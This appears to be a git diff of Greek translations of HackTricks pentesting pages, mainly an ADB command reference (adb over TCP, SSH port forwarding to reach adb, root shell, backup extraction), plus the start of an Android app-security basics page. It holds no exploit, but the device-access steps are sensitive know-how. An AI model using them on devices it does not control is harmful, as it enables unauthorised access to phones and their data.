Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
@ -60,16 +61,17 @@
{% embed url="https://ippsec.rocks/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,19 +1,20 @@
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Το Adb συνήθως βρίσκεται στον φάκελο:**
**Το adb βρίσκεται συνήθως στο:**
```bash
#Windows
C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
@ -27,25 +28,25 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
```
adb devices
```
Αυτό θα εμφανίσει τις συνδεδεμένες συσκευές. Αν εμφανιστεί "_**unathorised**_", αυτό σημαίνει ότι πρέπει να **ξεκλειδώσετε** το **κινητό** σας και να **αποδεχθείτε** τη σύνδεση.
Αυτό θα καταγράψει τις συνδεδεμένες συσκευές. Αν εμφανιστεί το "_**unathorised**_", αυτό σημαίνει ότι πρέπει να **ξεκλειδώσετε** το **κινητό** σας και να **αποδεχθείτε** τη σύνδεση.
Αυτό υποδεικνύει στη συσκευή ότι πρέπει να ξεκινήσει έναν adb server στη θύρα 5555:
Αυτό υποδεικνύει στη συσκευή ότι πρέπει να ξεκινήσει έναν adb server στην θύρα 5555:
```
adb tcpip 5555
```
Συνδεθείτε σε αυτήν την IP και αυτήν τη θύρα:
Συνδεθείτε σε αυτήν τη διεύθυνση IP και σε αυτήν την θύρα:
```
adb connect <IP>:<PORT>
```
Εάν λάβετε ένα σφάλμα όπως το παρακάτω σε ένα εικονικό λογισμικό Android (όπως το Genymotion):
Αν λάβετε ένα σφάλμα όπως το παρακάτω σε ένα εικονικό λογισμικό Android (όπως το Genymotion):
```
adb server version (41) doesn't match this client (36); killing...
```
Συμβαίνει αυτό επειδή προσπαθείτε να συνδεθείτε σε έναν διακομιστή ADB με διαφορετική έκδοση. Απλά προσπαθήστε να βρείτε το δυαδικό αρχείο adb που χρησιμοποιεί το λογισμικό (πηγαίνετε στο `C:\Program Files\Genymobile\Genymotion` και αναζητήστε το adb.exe)
Είναι επειδή προσπαθείτε να συνδεθείτε σε έναν διακομιστή ADB με διαφορετική έκδοση. Απλώς προσπαθήστε να βρείτε το δυαδικό αρχείο adb που χρησιμοποιεί το λογισμικό (πηγαίνετε στο `C:\Program Files\Genymobile\Genymotion` και αναζητήστε το adb.exe)
## Πολλές συσκευές
Όταν βρείτε **πολλές συσκευές συνδεδεμένες στον υπολογιστή σας**, θα χρειαστεί να **καθορίσετε σε ποια θέλετε να εκτελέσετε την εντολή adb**.
Όποτε βρείτε **πολλές συσκευές συνδεδεμένες στον υπολογιστή σας** θα χρειαστεί να **καθορίσετε σε ποια** θέλετε να εκτελέσετε την εντολή adb.
```bash
adb devices
List of devices attached
@ -58,14 +59,14 @@ adb -s 127.0.0.1:5555 shell
x86_64:/ # whoami
root
```
## Τούνελ Θύρας
## Port Tunneling
Στην περίπτωση που η **θύρα adb** είναι προσβάσιμη μόνο από το **localhost** στη συσκευή Android αλλά **έχετε πρόσβαση μέσω SSH**, μπορείτε να **προωθήσετε τη θύρα 5555** και να συνδεθείτε μέσω adb:
Σε περίπτωση που η **adb** **θύρα** είναι μόνο **προσβάσιμη** από **localhost** στη συσκευή android αλλά **έχετε πρόσβαση μέσω SSH**, μπορείτε να **προωθήσετε τη θύρα 5555** και να συνδεθείτε μέσω adb:
```bash
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
adb connect 127.0.0.1:5555
```
# Διαχειριστής Πακέτων
# Packet Manager
## Εγκατάσταση/Απεγκατάσταση
@ -85,18 +86,7 @@ adb install -d test.apk # allow version code downgrade
adb install -p test.apk # partial application install
```
### adb uninstall \[επιλογές] \<ΠΑΚΕΤΟ>
Απεγκαθιστά μια εφαρμογή από ένα συνδεδεμένο Android συσκευή. Το \<ΠΑΚΕΤΟ> αναφέρεται στο όνομα πακέτου της εφαρμογής που θέλουμε να απεγκαταστήσουμε. Οι επιλογές που μπορούν να χρησιμοποιηθούν περιλαμβάνουν:
- -k: Διατηρεί τα δεδομένα και την cache της εφαρμογής μετά την απεγκατάσταση.
- --user \<USER_ID> | all: Καθορίζει τον χρήστη για τον οποίο θα γίνει η απεγκατάσταση. Το "all" αναφέρεται σε όλους τους χρήστες.
- --version-code: Καθορίζει τον κωδικό έκδοσης της εφαρμογής που θέλουμε να απεγκαταστήσουμε.
Παράδειγμα:
```
adb uninstall com.example.app
```
### adb uninstall \[options] \<PACKAGE>
```bash
adb uninstall com.test.app
@ -104,9 +94,9 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p
```
## Πακέτα
Εκτυπώνει όλα τα πακέτα, προαιρετικά μόνο αυτά που το όνομα του πακέτου περιέχει το κείμενο στο \<FILTER>.
Εκτυπώνει όλα τα πακέτα, προαιρετικά μόνο εκείνα των οποίων το όνομα πακέτου περιέχει το κείμενο στο \<FILTER>.
### adb shell pm list packages \[επιλογές] \<FILTER-STR>
### adb shell pm list packages \[options] \<FILTER-STR>
```bash
adb shell pm list packages <FILTER-STR>
@ -128,7 +118,7 @@ adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to quer
```
### adb shell pm path \<PACKAGE>
Εκτυπώνει τη διαδρομή προς το APK του συγκεκριμένου \<PACKAGE>.
Εκτυπώνει τη διαδρομή προς το APK του δοθέντος .
```bash
adb shell pm path com.android.phone
```
@ -138,31 +128,31 @@ adb shell pm path com.android.phone
```bash
adb shell pm clear com.test.abc
```
# Διαχειριστής Αρχείων
# File Manager
### adb pull \<απομακρυσμένο> \[τοπικό]
### adb pull \<remote> \[local]
Κατεβάστε ένα συγκεκριμένο αρχείο από έναν εξομοιωτή/συσκευή στον υπολογιστή σας.
```bash
adb pull /sdcard/demo.mp4 ./
```
### adb push \<τοπικό> \<απομακρυσμένο>
### adb push \<local> \<remote>
Μεταφορτώστε ένα συγκεκριμένο αρχείο από τον υπολογιστή σας σε έναν εξομοιωτή/συσκευή.
Ανεβάστε ένα συγκεκριμένο αρχείο από τον υπολογιστή σας σε έναν εξομοιωτή/συσκευή.
```bash
adb push test.apk /sdcard
```
# Καταγραφή οθόνης/Καταγραφή βίντεο οθόνης
# Screencapture/Screenrecord
### adb shell screencap \<όνομα αρχείου>
### adb shell screencap \<filename>
Λήψη ενός στιγμιότυπου οθόνης της συσκευής.
Λαμβάνοντας ένα στιγμιότυπο οθόνης της οθόνης μιας συσκευής.
```bash
adb shell screencap /sdcard/screen.png
```
### adb shell screenrecord \[επιλογές] \<όνομα αρχείου>
### adb shell screenrecord \[options] \<filename>
Καταγραφή της οθόνης συσκευών που εκτελούν το Android 4.4 (API επίπεδο 19) και νεότερο.
Καταγραφή της οθόνης συσκευών που εκτελούν Android 4.4 (API level 19) και ανώτερα.
```bash
adb shell screenrecord /sdcard/demo.mp4
adb shell screenrecord --size <WIDTHxHEIGHT>
@ -171,27 +161,27 @@ adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in
adb shell screenrecord --rotate # Rotates 90 degrees
adb shell screenrecord --verbose
```
(press Ctrl-C to stop recording)
(πατήστε Ctrl-C για να σταματήσετε την καταγραφή)
**Μπορείτε να κατεβάσετε τα αρχεία (εικόνες και βίντεο) χρησιμοποιώντας την εντολή **_**adb pull**_
**Μπορείτε να κατεβάσετε τα αρχεία (εικόνες και βίντεο) χρησιμοποιώντας **_**adb pull**_
# Κέλυφος
# Shell
### adb shell
Αποκτήστε ένα κέλυφος μέσα στη συσκευή
Αποκτήστε πρόσβαση σε ένα shell μέσα στη συσκευή
```bash
adb shell
```
### adb shell \<CMD>
Εκτέλεση ενός εντολής μέσα στη συσκευή
Εκτέλεση μιας εντολής μέσα στη συσκευή
```bash
adb shell ls
```
## pm
Οι παρακάτω εντολές εκτελούνται εντός ενός κελύφους.
Οι παρακάτω εντολές εκτελούνται μέσα σε ένα shell
```bash
pm list packages #List installed packages
pm path <package name> #Get the path to the apk file of tha package
@ -200,9 +190,9 @@ am startservice [<options>] #Start a service. Whiout options you can see the hel
am broadcast [<options>] #Send a broadcast. Whiout options you can see the help menu
input [text|keyevent] #Send keystrokes to device
```
# Διεργασίες
# Processes
Εάν θέλετε να λάβετε το PID της διεργασίας της εφαρμογής σας, μπορείτε να εκτελέσετε:
Αν θέλετε να αποκτήσετε το PID της διαδικασίας της εφαρμογής σας, μπορείτε να εκτελέσετε:
```bash
adb shell ps
```
@ -218,35 +208,26 @@ adb shell pidof com.your.application
```bash
adb root
```
Επανεκκινεί τον δαίμονα adbd με δικαιώματα root. Στη συνέχεια, πρέπει να συνδεθείτε ξανά στον διακομιστή ADB και θα είστε root (εάν είναι διαθέσιμο).
Επανεκκινεί τη διαδικασία adbd με δικαιώματα root. Στη συνέχεια, πρέπει να συνδεθείτε ξανά στον διακομιστή ADB και θα είστε root (αν είναι διαθέσιμο).
```bash
adb sideload <update.zip>
```
Καταγραφή
flashing/restoring Android update.zip packages.
# Logs
## Logcat
Για να **φιλτράρετε τα μηνύματα μόνο από μία εφαρμογή**, πάρτε το PID της εφαρμογής και χρησιμοποιήστε την εντολή grep (linux/macos) ή findstr (windows) για να φιλτράρετε την έξοδο του logcat:
Για να **φιλτράρετε τα μηνύματα μόνο μιας εφαρμογής**, αποκτήστε το PID της εφαρμογής και χρησιμοποιήστε το grep (linux/macos) ή το findstr (windows) για να φιλτράρετε την έξοδο του logcat:
```bash
adb logcat | grep 4526
adb logcat | findstr 4526
```
### adb logcat \[επιλογή] \[προδιαγραφές-φίλτρου]
Η εντολή `adb logcat` χρησιμοποιείται για την προβολή των καταγραφών του συστήματος και των μηνυμάτων καταγραφής από μια συσκευή Android που είναι συνδεδεμένη μέσω του Android Debug Bridge (ADB). Μπορεί να χρησιμοποιηθεί για την ανάλυση και την επίλυση προβλημάτων σε εφαρμογές Android.
Οι επιλογές που μπορούν να χρησιμοποιηθούν με την εντολή `adb logcat` περιλαμβάνουν:
- `-d`: Προβολή των τελευταίων μηνυμάτων καταγραφής και έξοδος.
- `-e <filter>`: Εμφάνιση μόνο των μηνυμάτων που ταιριάζουν με το φίλτρο που καθορίζεται.
- `-s <filter>`: Εμφάνιση μόνο των μηνυμάτων που αντιστοιχούν στο φίλτρο που καθορίζεται.
- `-v <format>`: Καθορισμός της μορφής εξόδου για τα μηνύματα καταγραφής.
Οι προδιαγραφές φίλτρου μπορούν να χρησιμοποιηθούν για να περιορίσουν την έξοδο σε συγκεκριμένα μηνύματα καταγραφής, χρησιμοποιώντας διάφορα κριτήρια όπως ο τύπος του μηνύματος, ο προέλευση, ο επίπεδο καταγραφής κ.λπ.
### adb logcat \[option] \[filter-specs]
```bash
adb logcat
```
Σημείωση: πατήστε Ctrl-C για να σταματήσετε την παρακολούθηση
Σημειώσεις: πατήστε Ctrl-C για να σταματήσετε την παρακολούθηση
```bash
adb logcat *:V # lowest priority, filter to only show Verbose level
@ -263,15 +244,6 @@ adb logcat *:F # filter to only show Fatal level
adb logcat *:S # Silent, highest priority, on which nothing is ever printed
```
### adb logcat -b \<Buffer>
Η εντολή `adb logcat -b \<Buffer>` χρησιμοποιείται για την ανάγνωση των καταγραφών του logcat buffer σε ένα Android συσκευή. Ο buffer που θα πρέπει να προσδιοριστεί μπορεί να είναι οι εξής:
- `main`: Ο κύριος buffer καταγραφής γεγονότων του συστήματος.
- `radio`: Ο buffer καταγραφής γεγονότων του ραδιοφώνου.
- `events`: Ο buffer καταγραφής γεγονότων του συστήματος.
- `system`: Ο buffer καταγραφής γεγονότων του συστήματος.
Για παράδειγμα, για να διαβάσετε τις καταγραφές του κύριου buffer, θα πρέπει να εκτελέσετε την εντολή `adb logcat -b main`.
```bash
adb logcat -b # radio View the buffer that contains radio/telephony related messages.
@ -291,9 +263,9 @@ adb logcat -n <count> # Sets the maximum number of rotated logs to <count>.
```
## dumpsys
ανακτά δεδομένα συστήματος
εκχύει δεδομένα συστήματος
### adb shell dumpsys \[επιλογές]
### adb shell dumpsys \[options]
```bash
adb shell dumpsys
@ -301,19 +273,21 @@ adb shell dumpsys meminfo
adb shell dumpsys battery
```
Σημειώσεις: Ένα κινητό συσκευή με ενεργοποιημένες τις Επιλογές Προγραμματιστή, λειτουργικό σύστημα Android 5.0 ή νεότερο.
Σημειώσεις: Μια κινητή συσκευή με ενεργοποιημένες τις Επιλογές Προγραμματιστή που τρέχει Android 5.0 ή υψηλότερη έκδοση.
```bash
adb shell dumpsys batterystats collects battery data from your device
```
Σημειώσεις: Το [Battery Historian](https://github.com/google/battery-historian) μετατρέπει αυτά τα δεδομένα σε οπτικοποίηση HTML. **ΒΗΜΑ 1** _adb shell dumpsys batterystats > batterystats.txt_ **ΒΗΜΑ 2** _python historian.py batterystats.txt > batterystats.html_
Σημειώσεις: [Battery Historian](https://github.com/google/battery-historian) μετατρέπει αυτά τα δεδομένα σε μια οπτικοποίηση HTML. **ΒΗΜΑ 1** _adb shell dumpsys batterystats > batterystats.txt_ **ΒΗΜΑ 2** _python historian.py batterystats.txt > batterystats.html_
```bash
adb shell dumpsys batterystats --reset erases old collection data
```
```markdown
adb shell dumpsys activity
# Αντίγραφο Ασφαλείας
# Αντίγραφο ασφαλείας
Δημιουργήστε ένα αντίγραφο ασφαλείας ενός Android συσκευής από το adb.
Δημιουργία αντιγράφου ασφαλείας μιας συσκευής android από το adb.
```
```bash
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
# -apk -- Include APK from Third partie's applications
@ -325,20 +299,21 @@ adb shell pm list packages -f -3 #List packages
adb backup -f myapp_backup.ab -apk com.myapp # backup on one device
adb restore myapp_backup.ab # restore to the same or any other device
```
Εάν θέλετε να επιθεωρήσετε το περιεχόμενο του αντιγράφου ασφαλείας:
Αν θέλετε να επιθεωρήσετε το περιεχόμενο του αντιγράφου ασφαλείας:
```bash
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Βασικά Εφαρμογών Android
# Βασικά Στοιχεία Εφαρμογών Android
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα **HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -22,98 +23,140 @@
***
## Μοντέλο Ασφάλειας Android
## Μοντέλο Ασφαλείας Android
**Υπάρχουν δύο επίπεδα:**
* Το **Λειτουργικό Σύστημα (OS)**, το οποίο διατηρεί τις εγκατεστημένες εφαρμογές απομονωμένες μεταξύ τους.
* Η **ίδια η εφαρμογή**, η οποία επιτρέπει στους προγραμματιστές να **εκθέτουν ορισμένες λειτουργίες** και να διαμορφώνουν τις δυνατότητες της εφαρμογής.
* Το **OS**, το οποίο κρατά τις εγκατεστημένες εφαρμογές απομονωμένες η μία από την άλλη.
* Η **εφαρμογή αυτή καθαυτή**, η οποία επιτρέπει στους προγραμματιστές να **εκθέτουν ορισμένες λειτουργίες** και ρυθμίζει τις δυνατότητες της εφαρμογής.
### Διαχωρισμός UID
**Κάθε εφαρμογή ανατίθεται ένα συγκεκριμένο User ID**. Αυτό γίνεται κατά την εγκατάσταση της εφαρμογής ώστε **η εφαρμογή να μπορεί να αλληλεπιδρά μόνο με αρχεία που ανήκουν στο User ID της ή με κοινά** αρχεία. Συνεπώς, μόνο η εφαρμογή, κάποια στοιχεία του OS και ο ριζικός χρήστης μπορούν να έχουν πρόσβαση στα δεδομένα των εφαρμογών.
**Κάθε εφαρμογή ανατίθεται σε μια συγκεκριμένη Ταυτότητα Χρήστη (User ID)**. Αυτό γίνεται κατά την εγκατάσταση της εφαρμογής ώστε **η εφαρμογή να μπορεί να αλληλεπιδρά μόνο με αρχεία που ανήκουν στην Ταυτότητα Χρήστη της ή με κοινά** αρχεία. Επομένως, μόνο η ίδια η εφαρμογή, ορισμένα στοιχεία του OS και ο χρήστης root μπορούν να έχουν πρόσβαση στα δεδομένα της εφαρμογής.
### Διαμοιρασμός UID
### Κοινή Χρήση UID
**Δύο εφαρμογές μπορούν να ρυθμιστούν να χρησιμοποιούν το ίδιο UID**. Αυτό μπορεί να είναι χρήσιμο για να μοιραστούν πληροφορίες, αλλά αν μία από αυτές διαρρεύσει, τα δεδομένα και των δύο εφαρμογών θα διαρρεύσουν. Γι' αυτό η συμπεριφορά αυτή είναι **αποθαρρυντική**.\
**Για να μοιράζονται το ίδιο UID, οι εφαρμογές πρέπει να ορίσουν την ίδια τιμή `android:sharedUserId` στα μεταδεδομένα τους.**
**Δύο εφαρμογές μπορούν να ρυθμιστούν να χρησιμοποιούν την ίδια UID**. Αυτό μπορεί να είναι χρήσιμο για την κοινή χρήση πληροφοριών, αλλά αν μία από αυτές παραβιαστεί, τα δεδομένα και των δύο εφαρμογών θα παραβιαστούν. Γι' αυτόν τον λόγο αυτή η συμπεριφορά **αποθαρρύνεται**.\
**Για να μοιραστούν την ίδια UID, οι εφαρμογές πρέπει να ορίσουν την ίδια τιμή `android:sharedUserId` στα μανιφέστα τους.**
### Αμμοθυρίωση
### Sandbox
Το **Αμμοθυρίωμα της Εφαρμογής Android** επιτρέπει την εκτέλεση **κάθε εφαρμογής** ως ένα **ξεχωριστό διεργασία υπό ένα διαφορετικό User ID**. Κάθε διεργασία έχει τη δική της εικονική μηχανή, έτσι ο κώδικας μιας εφαρμογής εκτελείται απομονωμένα από άλλες εφαρμογές.\
Από το Android 5.0(L) εφαρμόζεται το **SELinux**. Βασικά, το SELinux απαγόρευε όλες τις αλληλεπιδράσεις διεργασιών και στη συνέχεια δημιούργησε πολιτικές για να **επιτρέψει μόνο τις αναμενόμενες αλληλεπιδράσεις μεταξύ τους**.
